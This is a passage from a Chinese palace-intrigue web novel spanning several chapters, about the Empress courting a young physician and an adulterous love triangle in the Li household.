燕晚清摸着她的脑袋,示意她继续靠着睡觉,燕凌珍便找了个舒服的姿势,嗅着阿姐身上的香味,她浑身上下都很安逸。 看着身前的主仆二人,燕晚清眼中闪过了心烦:“都出去吧,不要呆在这里打扰到侯爷养伤。” 她说完便搂着燕凌珍往外走,身后的铃铛扶着王可人起来:“小姐。” 王可人目光不甘的朝着内室看去。 真想看一眼,就一眼…… 她捏紧自己的拳头:“出去。” 一行人出来了,燕晚清将燕凌珍交给了从歌,从歌弯腰将小六拦腰抱起来,小六在从歌的怀中找了个舒服的姿势,然后沉沉的睡去了,细细的听一下,还能听到她轻微的鼾声。 看来是非常累了。 燕晚清心中都是心疼。 “先把小六送去睡觉吧。”燕晚清跟从歌轻声的说道。 从歌抱着燕凌珍就出去了。 等到人走了,燕晚清才回过神看向王家的主仆二人。 “郡主恕罪,臣女真的没有存别的心思,臣女不敢的。”王可人眼中含泪看着燕晚清说道。 燕晚清没说话。 王可人见状又说道:“臣女只是感激小侯爷的救命之恩,关心则切,郡主应该能明白这种心情吧。” “不明白。”燕晚清冷冷的开口,这王可人刚刚若是闯进了内室,那怀玉守护的比生命还要重要的秘密就会公之于众,届时杀了她都不解气! 见王可人这般模样,她冷笑道:“这件事情本郡主会告知令堂,希望往后的日子里,王小姐能够稍微收敛一点,不要没事三更半夜就往别人家未婚夫屋子里跑,失了礼数。” 王可人被说的面色苍白,整个身子摇摇欲坠,若不是铃铛扶着,只怕是已经瘫软在地上了。 燕晚清招了招手,意有所指:“来人,把院子都围起来,闲杂人等一律不许进内。” 家丁丫鬟们带着火把进来,将整个院子照的亮堂堂的,燕晚清再也不看这两个人,转身离去。 王可人咬着下嘴唇,双眼阴毒。 “……如此妒妇,怎堪良配,根本配不上他!” 第九十三章 小六,不要胡言乱语 “你就不怕自己传出去妒妇的名声?” 怀玉斜靠在软榻上,燕晚清坐在边上,给她喂药。 药汁很苦,怀玉却依旧能够眼皮不眨的一口接着一口的喝下去。 “这是最好的办法。”燕晚清用帕子擦感觉怀玉唇边的药汁,双眸很沉静:“名声而已,生不带来死不带去的,更何况没有人可以定义我燕晚清。” 怀玉听着她的话语,眼中闪过笑意:“这倒也是。” 正说着话,门外突然传来仆人的声音:“参见皇后娘娘。” 燕晚清和怀玉对视一眼,她起身迎接,只见今日的张岚依换了一件比较素雅的宫装,在宫人的搀扶下抬脚跨过门槛,整个人晒在日光之下,镀上了一层圣洁的光芒,与之前的形象有些反差。 “见过皇后娘娘。”燕晚清微微颔首道。 怀玉无法下榻,只能低着头:“见过皇后娘——。” “免礼了小侯爷。”张岚依睡了一觉起来,才有宫人将昨天的事情禀报给了她,于是乎她赶紧起身换衣服过来了。 看着怀玉躺在床榻上,面色苍白如纸,那燕晚清手里还端着一碗药汁,她眼中闪过一丝了然。 再次看向怀玉的目光带着些许不一样了。 竟然能让这性格清高的丫头甘愿喂汤药,看来是对小侯爷情根深种了。 没想到这小子看起来瘦瘦弱弱的,竟然十分讨女子喜欢。 燕晚清不知道张岚依心里怎么想的+,她将剩下的半碗汤药递给了怀玉,怀玉也不扭捏,此时已经不烫,她直接一饮而尽。 “可要吃颗蜜饯?”燕晚清问道。 怀玉摆摆手:“不必。” “小侯爷不愧是男子汉,这药汁闻着便苦上心头,小侯爷竟然能够眼皮子不眨的一口喝完。”张岚依笑着打趣道。 怀玉面上飘过一缕红晕:“无他,喝惯了罢了。” 张岚依想起昨日宫人说的小侯爷失血过多进气比出气还少,此刻见他还能谈笑风生,不禁有些好奇的问道:“昨日替小侯爷诊断的是哪家的大夫,医术这般高明,可否引荐一番?太医院最近缺人呢。” 她时常会有些难以启齿的东西,需要跟太医聊聊。 但不是自己的人,用起来多少有点担惊受怕。 今日临时起了心思,张岚依索性开口问了。 燕晚清一脸平静:“是臣女的六妹,家妹年纪尚幼,太医院也一向不收女子,怕是有点难度。” “这有何难,无非是本宫跟陛下说一声的事情,郡主无需太过担心。”张岚依一想这事情好办。 燕晚清有些迟疑:“这件事毕竟关系到小六本人,还是要看她是怎么想的,臣女无法替她做决断。” “这也好办啊,将你家六妹喊过来,本宫问问她便是。”张岚依在屋内找了个椅子坐下来,看来是认真的。 燕晚清见状只得让人去问问燕凌珍起了没。 这过来见皇后,还是得沐浴更衣,又是得一番功夫,不过看张岚依的样子,很是清闲。 等了一会儿功夫,燕凌珍打着哈欠跟在丫鬟的身后进来了。 一进门就对上了张岚依的双眸,她立刻瞪大眼睛。 张岚依见她玲珑小巧打趣道:“你便是燕家小六燕凌珍?” 声音一出来,燕凌珍直接双手捧脸,沙哑的只剩下气音的嗓子挤出了四个字:“御姐,杀我!” “小六,不要胡言乱语。”燕晚清上前一步,拉着她的手往前走了两步:“过来,见过皇后娘娘。” 燕凌珍一听是皇后,老老实实的跪下行礼了。 张岚依一想到这般年幼的孩子就已经是个神医了,越看越喜欢,赶紧将人拉了起来:“快快起来,地上凉,让你阿姐喊你过来,是本宫想问问你,可愿意跟本宫进宫去太医院当值?” “太医院?”燕凌珍愣住:“太医院不是不收女子么。” “昨天的事情本宫听说了,你这般高超的医术,这些门槛对你而言都是形同虚设的,你只需要告诉本宫,你可愿意随本宫一起回去便是。” 燕凌珍下意识抬头看向燕晚清,阿姐目光平静,看不出一丁点其他的情绪。 看样子是想让她自己做决定了。 燕凌珍想了想,摇了摇头:“回禀娘娘,小六现在还学艺不精,到了太医院可能上升的空间也不大,目前小六还是想要多一点游历的经验,这样才有利于小六的医术更上一层楼。” 这便是在回绝张岚依的邀请了。 但是这番话听在人的耳朵里是舒服的,张岚依根本没有因为自己被一个小孩子拒绝而生气,只是继续说道。 “你刚刚游历回来,这次打算在家中待多久?”张岚依心中有其他的打算。 燕凌珍老老实实的回答:“三个月。”药材她全部找齐了,一个月便能研制出千机的解药,剩下的两个月她要帮助阿姐调养身体,让当初那个发光发热的阿姐重新回到燕家! “三个月……”张岚依心里安定了,眉眼弯弯:“那本宫想你了能让人传你进宫么?” “皇后娘娘折煞小六了,只要是娘娘开口,小六保证随叫随到。”燕凌珍脆生生的说道。 张岚依越看这小丫头越喜欢,心中不由得开始对比燕晚清的性格。 这姐妹俩,真是一个水,一个火。 张岚依得了保证,心情十分好的带着宫人回宫了。 燕晚清和燕凌珍送走了皇后,她对着燕凌珍说道:“你五姐姐前些时日挨了二十军棍,此刻还在家中躺着,你今日记得回一趟家中,替她看看一二。” “什么!五姐姐被人打了!谁干的?”燕凌珍挥舞自己的小拳头。 燕晚清伸出手揉了揉她的小脑袋:“阿姐已经替你五姐姐出过气了。” 燕凌珍这才放下心来:“好,小六现在就回去。”说着她抬脚往外走,又被燕晚清喊住。 “等等。” “还有什么事情吗阿姐?” 燕晚清想到昨日那李呈媛是在自己的府里落水的,便说道:“你回去的路上,顺路去一下李大人的府上,看看那李三小姐情况如何,让从歌跟你一起去。” 马车缓缓从郡主府驶出,燕晚清伸出手揉了揉有些发酸的腰肢,转过身去。 有从歌跟着,她心里踏实。 路上从歌便将昨天发生的事情,还有之前燕红昭为什么被打,那天晚上都发生了什么,一五一十的全部和燕凌珍说了。 听得燕凌珍小心脏七上八下的,没想到自己离开的这段时间,发生了这么多的事情。 从歌说的口干舌燥的,灌了半壶茶水,刚好车夫便说李府到了。 “小姐应该是想看看李小姐落水之后,身子可有大碍,让五小姐帮忙看看,毕竟是女子,若是落下了病根,小姐心里也不好受。”从歌说道。 燕凌珍点头:“我阿姐就是心地善良,什么事情都考虑的周全,我今日来一定会替那李三小姐好好看看。” 说着二人从马车上下来,从歌便去扣门,门人听说是郡主府的人,赶紧去通报了。 没多时,李府的大门便敞开,从里面走出一个妇人打扮的女主出来,身后跟着四个丫鬟。 第九十四章 这瓜好,这瓜好吃 那妇人目光从从歌的脸上扫过去,看着眉清目秀的她微微颔首,最后落在了扎着双髻穿戴着百灵鸟步摇的燕凌珍身上,露出一抹温柔的笑容。 “妾身李呈祥见过燕六小姐。” 燕凌珍乖巧的回礼:“燕刘见过李大小姐。” 从从歌的嘴里,她知道李家的大小姐李呈祥是个很能干的女子,将李家在京都的铺子打理的井井有条,正因为如此,到了适婚的年纪,李家舍不得这个摇钱树嫁出去,便直接招了个上门女婿,就是昨日在郡主府的吴城南了。 吴城南前段时间因为机遇,成了东宫的门客,总算才在李家能够说得上一两句话了。 不过也不怪吴城南,李呈祥这般能干的女子,他又是上门女婿,女强男弱,注定是会被人说闲话的,吴城南那边的心理压力估计也大。 燕凌珍在心中火速过完自己在车上吃到的瓜,看着李呈祥说出了自己今日的来意:“今日突然拜访,是因为昨日令妹李呈媛在郡主府落水了,我家阿姐担心李三小姐的身子,特意让我过来看看。” 李呈祥听完愣了一下,她侧过头问身边的丫鬟:“三妹昨日落水了?” 那丫鬟明显是知道这件事的,被李呈祥问了,支支吾吾的说道:“小姐当时在忙账本的事情,奴婢不敢打扰,后来事情多便忘记了。” “混账东西!”李呈祥冷着脸骂了一句:“下次再自作主张,你就不要跟着我了。” “奴婢不敢了。”丫鬟赶紧低着头求饶。 李呈祥也不想在外人面前处置丫鬟,颜色稍缓,看着燕凌珍笑道:“让燕六小姐看笑话了,既然是这样,妾身便陪同您一起去看看三妹吧。” 燕凌珍点头:“好。” 李呈祥和燕凌珍走在前面,从歌和四个丫鬟跟在后面,七个人浩浩荡荡的朝着李呈媛的小院子过去。 那小院子的门还有虫蛀的痕迹,在阳光的映照下显得十分的寒酸。 李呈祥的面上闪过一丝不爽,她恶狠狠的瞪了一眼自己身边的丫鬟,丫鬟只得赶紧低下头去不敢吭声。 燕凌珍对此倒是没有什么想法。 她当时在虎丘的时候,都没有自己的院子,相比之下李呈媛在李家过得还算不错。 谁家姐妹众多,没有点间隙的破事。 “就是这里?”她看向李呈祥。 李呈祥让丫鬟去扣门,自己则是回答燕凌珍的话:“就是这儿了。” 没多久,便跑出来一个丫鬟,她低着头打开了门:“见过大小姐。” “三妹在吗?镇国府的六小姐受郡主所托,过来看看她。”李呈祥说道。 丫鬟低着头颔首:“小姐在的,只不过……” “不过什么?”李呈祥不解的问道。 丫鬟有些不自在:“姑爷也在。” 这话一出,李呈祥的表情瞬间阴沉下来,但是碍于燕凌珍在这里不好发作,她点了点头:“知道了。” “走吧,我看一眼,三小姐没事我也好回去跟我阿姐交差。”燕凌珍抬起脚朝前走。 越走她越快。 这瓜好,这瓜好吃! 燕凌珍擦肩而过那门口的丫鬟,突然停住了脚步。 “咦?” 丫鬟侧开脸往后站了站,不敢看燕凌珍。 从歌跟在后面:“六小姐怎么了?” “没什么。”反正跟她没关系。 燕凌珍摆摆手继续往前走,从歌留了个心眼又回头看了看,才发现这丫鬟竟然就是昨日推李呈媛落水的那位。 此刻她的脖子上脸上手腕上都有青紫的痕迹,一看便是昨天回来被教训了,只是从歌不理解的是,为何这李呈媛还要将这背主的奴才留在身边。 跟在身后的李呈祥也注意到了这一幕,她微微蹙眉,不过什么都没有说,赶紧跟着那主仆二人往里走了。 还没有走到里屋,便能从门外听见男子和女子愉悦的笑声。 燕凌珍悄咪咪的慢下来脚步,让李家大小姐走在了前面,见她冷着一张脸,周身的气质发生了一百八十度的大转弯,她忍不住搓了搓激动的小手。 终于要来了么?! 门,被李呈祥一下子推了开来。 屋内的两个人错愕的看向门口。 只见他们二人一起坐在琴旁,那吴城南的手还放在李呈媛的手背上没有下去。 吴城南一看见李呈祥的瞬间,整个人往后倒,然后迅速站了起来:“娘子!” 反观李呈媛倒是一点都不紧张,她慢条斯理的起来给李呈祥行礼:“见过大姐。” “你们俩在干什么。”李呈祥压抑着声音中的怒火说道。 吴城南赶紧上前解释道:“娘子,真的没有什么,为夫在教导三妹琴艺,她说自己有一首打算给岳丈大人贺寿的曲子一直弹不准,今日有空,为夫便教导她一二,娘子你信我,真的没什么。” 李呈祥抿着唇不说话。 那李呈媛倒是勾唇露出一抹微笑:“是啊姐姐,真的没什么。” “没什么需要关着门?”李呈祥冷笑一声,倘若不是燕凌珍在这里,她真想让人上去摁着这两个不知羞耻的人打! “姐姐心里执意将妹妹和姐夫想成那般不堪的模样,那么妹妹说什么都是错了。”李呈媛不甘示弱的呛声道:“毕竟姐姐想要的人,想做的事情,没有一件是办不成的,不是么?” “今日有外客,我不与你们说这些。”李呈祥知道再说下去,那必定是要闹出笑话的。 所谓家丑不可外扬,她要守住李家最后仅有的一丁点脸面。 燕凌珍见状从门外走进来,她走到了李呈媛边上:“劳烦李三小姐伸出一只手。” 李呈媛见陪伴燕凌珍的是昨日郡主府陪在安平郡主身边的大丫鬟,当下心中了然,也不敢因为燕凌珍的年纪小而小觑她,乖巧的伸出了手。 燕凌珍号脉,片刻便收回了手。 “李三小姐昨日刚落了水,还是不要穿着这般单薄比较好,小心感染风寒,晚上喝完姜茶载入眠。”燕凌珍慢吞吞的说道。 李呈祥听到穿着单薄四个字之后,目光落在那薄纱的外衫上面,几乎要将衣服烧灼出来一个洞。 这种天气! 穿成这样! 还敢说是两个人没有做什么。 鬼才相信! 她深呼吸一口气,没忍住,捏紧了双拳:“吴城南,你跟我出来。” 吴城南见李呈祥那般模样,心里咯噔一声,他回头看了看李呈媛一眼,眼神里飘忽不定。 李呈媛见状直接拦住了吴城南,看着自家姐姐说道:“阿姐想要如何?还是要像上次那样打姐夫吗?!男儿膝下有黄金,眼下姐夫已经是太子殿下的门客,此番传出去,是要让他人瞧不起姐夫的。” “呵……”李呈祥看着面前的李呈媛,再看向站在她身后低着脑袋不敢看自己的吴城南,双眸炬火,一字一句:“这是我的家事,不、牢、三、妹、费、心。” 第九十五章 你姐姐脾性大,我担心她想不开 “姐姐说的这是什么话,姐夫如今是李家的女婿,一言一行都关乎到李家的名声,姐姐怎么能够再像从前那般欺负姐夫。”李呈媛伸出双手像是个老母鸡护崽儿一样保护着身后的吴城南,她表情十分的认真:“姐姐不能因为自己的怒火,就屡次不把姐夫当人啊。” 这话算是说到了吴城南的心坎上,他看向李呈媛的目光都跟着变了。 李呈祥气得胸脯上下起伏,身边的丫鬟赶紧上前给她顺气:“小姐您别生气,大夫说您最近身体不好,可不要怒火攻心了。” 李呈祥抬手将丫鬟推到了一边,目光死死的盯着吴城南:“我只问你,你跟不跟我出来。” 吴城南想到自己堂堂七尺男儿,眼下又备受太子重视,早就不是之前那个因为一丁点钱财就被困扰的只能卖身别家当上门女婿的人了。 刚刚又听到李呈媛说的这些话,心中更加有底气,于是他说道:“娘子,你若是让为夫出去是为了打骂于我,那为夫就不去了,你如此行为实在是让岳父大人蒙羞。” “蒙羞?”李呈祥气笑了,她伸出手指着那吴城南连说了三声:“好,好,好!” 说完她转过身直接离开了屋子,丫鬟们怕她气出个好歹,赶紧跟了出去。 那吴城南看着李呈祥跑出去,也有些着急,刚走上前两步被李呈媛拉住。 “姐夫,你干嘛去?” 吴城南伸出手将李呈媛的手扯开:“你姐姐脾性大,我担心她想不开,过去看看。” 说着他直接追出门去。 留下李呈媛看着自己的手,怔怔出神,好半饷她突然捏紧了掌心,发出一声轻笑。 等到她抬头,一下子看到了旁边还站着个燕凌珍的时候,蹙眉:“你怎么还在这里。” 燕凌珍干咳一声:“我这就走。”她不自然的吹着口哨,抬脚出了院子,今日这热闹看的真的不亏,待会儿可得和五姐姐好好分享分享,给她解解闷。 不过快要走出院子的时候,燕凌珍突然想到了什么,猛地回过头看向那门口。 这李家三小姐的身上,不知道为什么,总是透露出一股子熟悉的东西。 她想了一会儿,又没有察觉到别的不对劲的地方。 “六小姐,怎么了?”从歌看着燕凌珍回头看:“可是忘了什么东西?” “无事。”燕凌珍转过身去,喃喃自语:“但愿只是我多想。” …… 李呈祥一路快步疾走到了自己的院子,丫鬟们见她坐下,便赶紧给她拿过来药丸,让她就这水服下。 看着她依旧非常生气,又给她伸出手顺气。 被李呈媛一把打开:“我不是早就让你们把她那个院子门修葺了么?!今日被燕家六小姐看到了,指不定心里怎么想我平日里是如何苛责姊妹的。” 丫鬟赶紧跪下:“这件事情也不能全怪奴婢,主要是三小姐不肯。” “不肯?”李呈祥将手里的杯盏放在桌子上,气息不稳:“她为何不肯?上次还在父亲面前言语这个门的事情,现在又不肯人修葺了?” “三小姐非说那扇门的木头是当年老爷亲自拉回来的,有很重要的纪念意义,所以一直不肯让人敲下来换成新的。”丫鬟说起这个心中也是带着一丝怨气的。 这三小姐自从上次高烧不止之后,醒过来便像是变了个人一样。 之前都已经和姑爷断得干干净净了,可是谁曾想现在又黏在了一起。 李呈祥心中的怒气更甚。 她眯着眼睛:“以前怎么没有发现这个丫头片子这么伶牙俐齿,还有这么多的心眼子呢。”她看向自己的贴身丫鬟问道:“你今日听到她说的这些话了吧。” “奴婢听得真真切切。” “往日里她一棍子下去都打不出三个屁,难不成是上次的事情让她转了性子?”李呈祥思来想去,也就是从那个时候开始,这个死丫头时刻都跟自己针锋相对。 丫鬟还想要说什么,此时吴城南已经追了过啦。 看到吴城南的那张脸,李呈祥瞬间气得背过身去:“你还来干什么。” “娘子,为夫知道错了,你不要生气,你本来身体就不好。”他拿着桌子上的茶壶给李呈祥倒了一杯热茶,笑着端到了她的面前。 李呈祥见他眉心红痣熠熠生辉,抿着唇没吭声,但是手已经接过了热茶。 吴城南便摆手让那丫鬟赶紧出去。 等到屋子里只剩下他们夫妻二人,吴城南直接蹲在了李呈祥的面前。 “娘子,你知道的,为夫的心里都是你,跟她之间真的没什么了。” 李呈祥回想今日三妹的穿着,还有他们二人之间靠在一起的手,十分吃味生气:“你今日为何过去?” “为夫刚刚不是解释了吗?是她喊人过来请我过去指点她琴艺的。” “哼,平日里也不见你指点我的琴艺啊。”李呈祥娇声骂道。 “哎呀呀娘子,你这可是打算盘捞金的手,弹琴这种附庸风雅的事情,根本不适合你。”说着吴城南伸出双手包裹住李呈祥的双手,那双青葱玉指,虽然不如李呈媛的纤细修长,但是个个圆润看起来十分的富态,平日里也是保养的极好的。 相比之下,他吴城南还是更喜欢李呈祥的手。 “娘子你心里清楚的,为夫自始至终只对你心怡,那李呈媛一直解不开心结,为夫也没有办法,也不能就这么看着她闹吧,你也记得上次她为了我,直接一头撞在了墙上,昏了整整三天三夜,吓坏了我们一家子人啊。” 李呈祥心里自然是十分清楚的,她叹了一口气:“可是你也应该有分寸,和她关上门做什么。” “她说冷啊。”吴城南理所当然。 李呈祥噌的一下怒气又上来了:“冷你不能让她多穿点?” “为夫忘记了,下次一定。” “还有下次?!”李呈祥吼道:“吴城南你说你到底想要干什么?难不成想坐享成人之美?!把她也收了?!” “不敢不敢!”吴城南赶紧摆手道:“这说的是什么话,娘子你这样可是伤透了为夫的心了。” 李呈祥将杯盏往桌子上重重的一放。 吴城南叹气的站起身将她拥入怀中:“娘子对我的好,我都记在心里,倘若不是娘子花费了力气将我引荐到了太子门下,也不会有我今日,只是娘子有时候未免太过于偏激,昨日实在是不应该让人推她下水,你我夫妻同心,你做了坏事,那为夫只能过去替你弥补一番,不让她心里记恨于你。” “你怎知……”李呈祥愣住。 吴城南伸出手点了点她的鼻尖:“想要瞒过为夫你还嫩了点。” “你不怪我?”李呈祥心中忐忑,她这辈子就干了这么一件坏事,也是因为被李呈媛气坏了,成天看着她粘着自己的夫君,甚至还想要爬上姐夫的床榻,换做是任何一个女子,都会心里不舒服。 更何况他们之前还亦师亦友的关系。 时间一长,李呈祥便觉得如鲠在喉,所以才会动了别的心思。 “娘子平日里只关心金钱,能够因为我的事情吃醋,为夫深感欣慰,怎么会怪你呢。” 第九十六章 姐夫,我们不告诉姐姐好不好 “那你可知她平日里是如何在外编排我的?”李呈祥耍起了小性子。 吴城南拍着她的背部轻轻的哄着:“娘子深明大义,与她计较什么,根本不值当。” 听着吴城南将李呈媛贬低的什么都不是,李呈祥心里终于舒服了,趴在他的怀中撒起娇来,吴城南顺势将她懒腰抱起朝着里屋走去。 …… 再说李呈媛迟迟不见吴城南回来,便知道对方是什么意思了。 她看着站在角落里瑟瑟发抖的丫鬟,露出了一抹微笑:“去,给本小姐打一盆冷水过来。” “小姐要做冷水做什么?”天气这么冷,丫鬟实在是不能理解。 李呈媛扫了她一眼:“这是你一个身为奴婢的人应该问的吗?” 丫鬟上次挨了打,心里对李呈媛别提多害怕了,赶紧小跑出去打了一盆冷水过来,紧接着就看见李呈媛走到院子中,将冷水从头淋到脚,然后回屋子换了一件衣服。 当天夜里,李呈媛便发起了低烧。 她将自己裹在被子里,也不肯吃药,一直熬到了天亮,才让那丫鬟去大姐院子里找人:“让李呈祥给我请大夫,顺便你再将我感染风寒的事情透露给郡主府的人。” 她看着床榻边上的灯罩:“那里有银钱,你取出来去打理一下。” 丫鬟拿了银钱却不敢动,她实在是不知道为什么三小姐现在变成了这样。 李呈媛见她不动,冷下脸:“你又想挨打了?” “奴婢不敢!”丫鬟赶紧跪在了地上。 “你应该知道上次能够留下你,是因为你说你可以证明自己的忠心,眼下证明的时候到了。” 丫鬟咬咬牙,起身拿着银钱往外走。 没有办法,她若是不听话,等待她的便只有死亡。 发起疯来的李呈媛实在是太可怕了。 她这辈子都不想再经历一次了。 李呈媛看着冷冷清清的屋子,露出了一抹高深莫测的微笑。 “既然是让我到了这个时代,我怎么能够甘愿在后宅里当一个只会绣花吟诗的废物呢。”李呈媛回想自己脑海中的片段,心中越发的笃定自己接下来要做的事情。 丫鬟在李呈祥的院子里等了挺久的,才见到她终于起床打算出门看铺子。 等李呈祥听到李呈媛感染风寒的消息,心中终于泄了气。 “该!”她冷笑一声,但还是吩咐丫鬟去给她请大夫。 她这个人气来的快,消得也快,从来没有隔夜仇。 上一次如果不是李呈媛做出爬床的事情,她也不至于想到要让人教训她的念头。 看着丫鬟身上的青青紫紫,李呈祥心生不忍:“她打你了?” 丫鬟点头又瞬间摇头。 李呈媛叹了一口气:“可要我将你调回来。” “多谢大小姐,奴婢……奴婢不用。”丫鬟想到当时李呈媛看着自己的那双眼睛,她无论去到哪里,只要还是在李家,背叛李呈媛的下场就只剩下的死。 李呈祥被拒绝了,点了点头:“既然这样,就随你了,这个月的月银给你多发点。” 昨日吴城南很卖力,所以今天她红光满面,心情也跟着不错,就连出去巡查铺子这种琐碎的事情,她也不觉得不耐烦了。 前脚李呈祥刚走,后脚吴城南也跟着出了门。 不过他回来的比较早,刚回来就被等在旁边的丫鬟给喊住了。 “什么?三妹她感染了风寒?”吴城南皱眉问道。 丫鬟点点头,表情十分焦急:“大夫已经开了药,但是小姐就是不肯吃药。” “这怎么行呢,感染了风寒就得吃药,不吃药怎么能好。”吴城南说着抬脚往那边去,但是走到了一半突然停下了脚步:“我不能去,我去了娘子又该生气了。” 丫鬟急的都要哭出来:“姑爷行行好,眼下大小姐不在,您过去劝劝三小姐,您知道的,三小姐向来是最听您的话的。” 这倒是,李呈媛一直以来都是听吴城南的话。 想到这里吴城南叹了一口气,继续朝着那边走去。 刚进门,便能听见女子嘤嘤嘤的啜泣声,简直是要哭到男人的心尖上去。 吴城南想到李呈媛年纪轻轻就没了生母,爹不疼,也不像李呈祥那样能挣钱受到李家人的重视,自己孤苦伶仃的在这么一个院子里,前不久还因为自己被打了一顿,他心里更是柔软了几分。 想要说出去的重话,在李呈媛朦胧着泪眼冲着自己喊:“姐夫。”二字的瞬间,彻底说不出来了。 “下人说你不肯吃药。”吴城南走过去,很自然的端起案几上的药汁,用汤勺挖了一勺吹了吹:“不吃药,风寒怎么能好呢。” “可是好苦。”李呈媛委屈巴巴的小声说道。 吴城南笑道:“哎呀呀像个小狗,这么大人了还这样怕苦。” 李呈媛撅着小嘴,裹在被子里,整个人娇小苍白,看起来十分的惹人心疼。 吴城南心又软了几分。 当初他选择和李呈祥在一起,多半是因为她能干也符合自己对于妻子的审美,当时李呈媛羞羞怯怯的,只敢躲在远处远远的看自己,他们之间的交集也仅限于书信上关于经史典籍的交流指导。 从来没有过像这几日这般,李呈媛一直跟在自己身后,像个不谙世事的小姑娘那般崇拜的看着自己,靠近自己。 说实话,他身为大男子的心被充分的满足了。 “听话,吃药。” “不要!”李呈媛直接耍起了小性子。 吴城南也没有不耐烦,反而觉得她这样很可爱:“吃药,姐夫就答应你一个要求。” “真的吗?”李呈媛瞪圆了眼睛,欣喜的说道。 吴城南点头。 李呈媛裹着被子凑上前,来到了吴城南的面前,见他没躲,她眼中闪过一丝讥讽,但是很快又变成了小女子的懵懂无知。 “那这个要求可以过分一点么?” 吴城南感受着面前女子的呵气如兰,他没有丝毫褪却:“你想要多过分?” “过分到姐姐会生气的那样,也可以吗?”李呈媛继续靠近,鼻息几乎已经喷洒在吴城南的面上了。 她心中想到,好在这姐夫长相不错,不然她无论如何是下不去手的。 吴城南纹丝不动。 李呈媛见状,露出可怜唧唧的眼神:“姐夫,我们不告诉姐姐好不好。”说着她低头像是一只小狗一样开始舔喝碗里的药汁。 吴城南看着她垂在自己手腕上的黑发,喉结忍不住上下滚动了一下。 第九十七章 嗯,孤现在知道了 事情就这么顺理成章的自然发生了,等到吴城南反应过来的时候,已经完事儿了。 他一言不发的将衣服全部穿戴好,打算离开,又觉得自己不是个东西,回头抱了抱李呈媛,说了句:“对不起,姐夫会负责的。” 说完他也不等李呈媛说什么,直接转身离开。 上一秒还火热滚烫的屋子,此刻清冷无比。 李呈媛此时已经收起了小女儿家的羞怯,风寒让她浑身疼痛,眼下面颊烧的通红,她咳嗽了两声。 这吴城南可真没用。 她眯着眼睛回味刚刚发生的事情,忍不住翻了个白眼,这才多久。 没用的东西。 “烧水,本小姐要沐浴。”李呈媛冲着外面喊道。 另外一边吴城南走的飞快,路上见到丫鬟和小厮看向自己,他都忍不住要惊出一身冷汗,生怕被人看出什么异常。 怎么就跟那三小姐做出了这种事情。 鬼迷心窍了不是? 吴城南心中后悔万分,正想着突然看见自己的院门口站着一个熟悉的人,是太子身边的得力干将,他收敛心神走了过去。 那人也不说废话,直接说喊他去北部军营商讨要事。 问了才知道这一走怕是要十天半个月的,吴城南心下松了一口气,赶紧让下人收拾好衣物和日常用品,自己给李呈祥留了书信,这才处之泰然的跟着出了门。 唯独忘记了自己刚刚换下来的衣服被随意丢在了软榻上,上面还浸润了女子特有的脂粉香气。 吴城南不知道的是,自己这一走不要紧,让李家原本表面和睦的两姐妹为了他争风吃醋,大打出手,闹得李家好不热闹。 …… 燕凌珍在家中住了一夜,一大早便醒过来往燕红昭的屋子里跑。 她将自己熬夜做出来的祛疤凝霜带上,一共做了两大罐,一罐给五姐姐,一罐给怀玉姐姐。 等到她兴冲冲的跑过去,却没有发现燕凌珍的人,一问下人才知道,她今天发现自己能够站立了,天还没有亮便去给宋姨娘祭拜了。 燕凌珍将手里的凝霜交给丫鬟们保管,想了想,还是没有找过去。 这种时刻,五姐姐应该更想要自己一个人呆着吧。 燕凌珍去孙青莲打了个招呼,便招呼着镇国府的马车朝着郡主府驶去。 她得去给怀玉姐姐换药。 此时若是处理不好,发烧感染了,后面就更加棘手了,另外这一路采摘的珍贵药材都在郡主府放着,她得过去处理,是时候将千机的解毒摆上日程了。 马车徐徐的在路上走着,燕凌珍只听见马蹄声急促,掀开帘子便只看见突然旁边窜过去一道残影,快的让她皱眉。 “开这么快,赶着投胎啊!” 京都随便在路上丢块石头都能打中达官贵人,这人跑这么快真不怕冲撞了谁。 看不到人究竟长什么样,但是那批毛发鲜亮的黑马,燕凌珍却是看的真真切切。 “等阿姐好了,让阿姐教我骑马。”燕凌珍喃喃自语。 旁边的从歌听罢温和的笑出声:“这自然是可以的,想当年小姐的马术在京都可是无人能及呢。” “当真?”燕凌珍来了兴趣,从歌便将燕晚清当年的事情讲给她听,一时之间听得入迷,时间一分一秒过去,没多久马车停了下来,就听见车夫说到了。 燕凌珍听得意犹未尽,从马车上跳下来,入眼就看见了门口那匹黑色的高头大马。 哦豁? 那人是来郡主府的。 燕凌珍眼中闪过好奇,赶紧拔腿往府中跑去,问了丫鬟们才知道,来人直勾勾的朝着阿姐的院子去了。 …… “近日朝中动荡,你突然遭遇刺杀,也不知道是何人所为……眼下春闱在即,你的身体可吃得消……”燕晚清用铜钳将炭火上拷着的沙糖桔翻了个,又拿起茶壶给杯盏中续了茶,缓缓说道。 怀玉刚想要说话,就听见门口传来急促的脚步声,她顿时收了声。 燕晚清下意识抬头看向门口,谁知道猝不及防撞入了一双深邃的黑眸之中。 怎么会是他? 昨日他不是说北部军营有很棘手的事情要处理,少说也得半月才会回到京都,怎么现在这个点出现在自己的面前? 萧蘋风眼睛一眨不眨的在她身上一寸寸的扫过,确认她安然无恙之后,松了一口气。 “探子说昨日郡主府有人被行刺——”萧蘋风率先开了口。 燕晚清立刻回道:“不是我。” “……嗯,孤现在知道了。”萧蘋风走进屋来,二话不说,拿起燕晚清纶手中的茶杯,将里面温热的茶水一饮而尽,然后转身就往门口走去。 这一幕发生的快速蹊跷,在人就要走出门口的时候。 怀玉觉得自己应该得说点什么。 “见过太子殿下。” 萧蘋风超前迈开的腿停下了,他半回眸,这才看到床榻上躺着一个人,他意外的上调眉毛:“原来被行刺的人是小侯爷啊,小侯爷好好养伤,孤还有要事要忙,就不慰问你了。” 怀玉:“……”我真是嘴欠。 萧蘋风说着他头也不回的快步离开,刚好和快速跑过来的燕凌珍撞了个满怀。 萧蘋风大手一捞将燕凌珍给捞了出来,扶好她,然后一言不发的继续朝前走去。 脚步匆忙。 燕凌珍走进屋内,捂着小嘴说道:“阿姐,刚刚那人是谁?好生俊美!” 燕晚清没吭声,她走到了门口,只看见那人一袭黑衣上面风霜露重,已经浸润着绛紫色的长袍在晨光之下微微泛着光泽,她的心里说不出什么滋味,只觉得有什么东西已经生根发芽了。 怀玉见她这副模样,冲着燕凌珍解释道:“当今的太子殿下。” “真好看。”燕凌珍咋舌,又忍不住说道:“我阿姐真厉害,这样的人竟然也拜倒在了阿姐的石榴裙下。” “小六,不得胡说。”燕晚清打断。 燕凌珍吐吐舌头,看着自家阿姐面颊桃红,她更加好奇了。 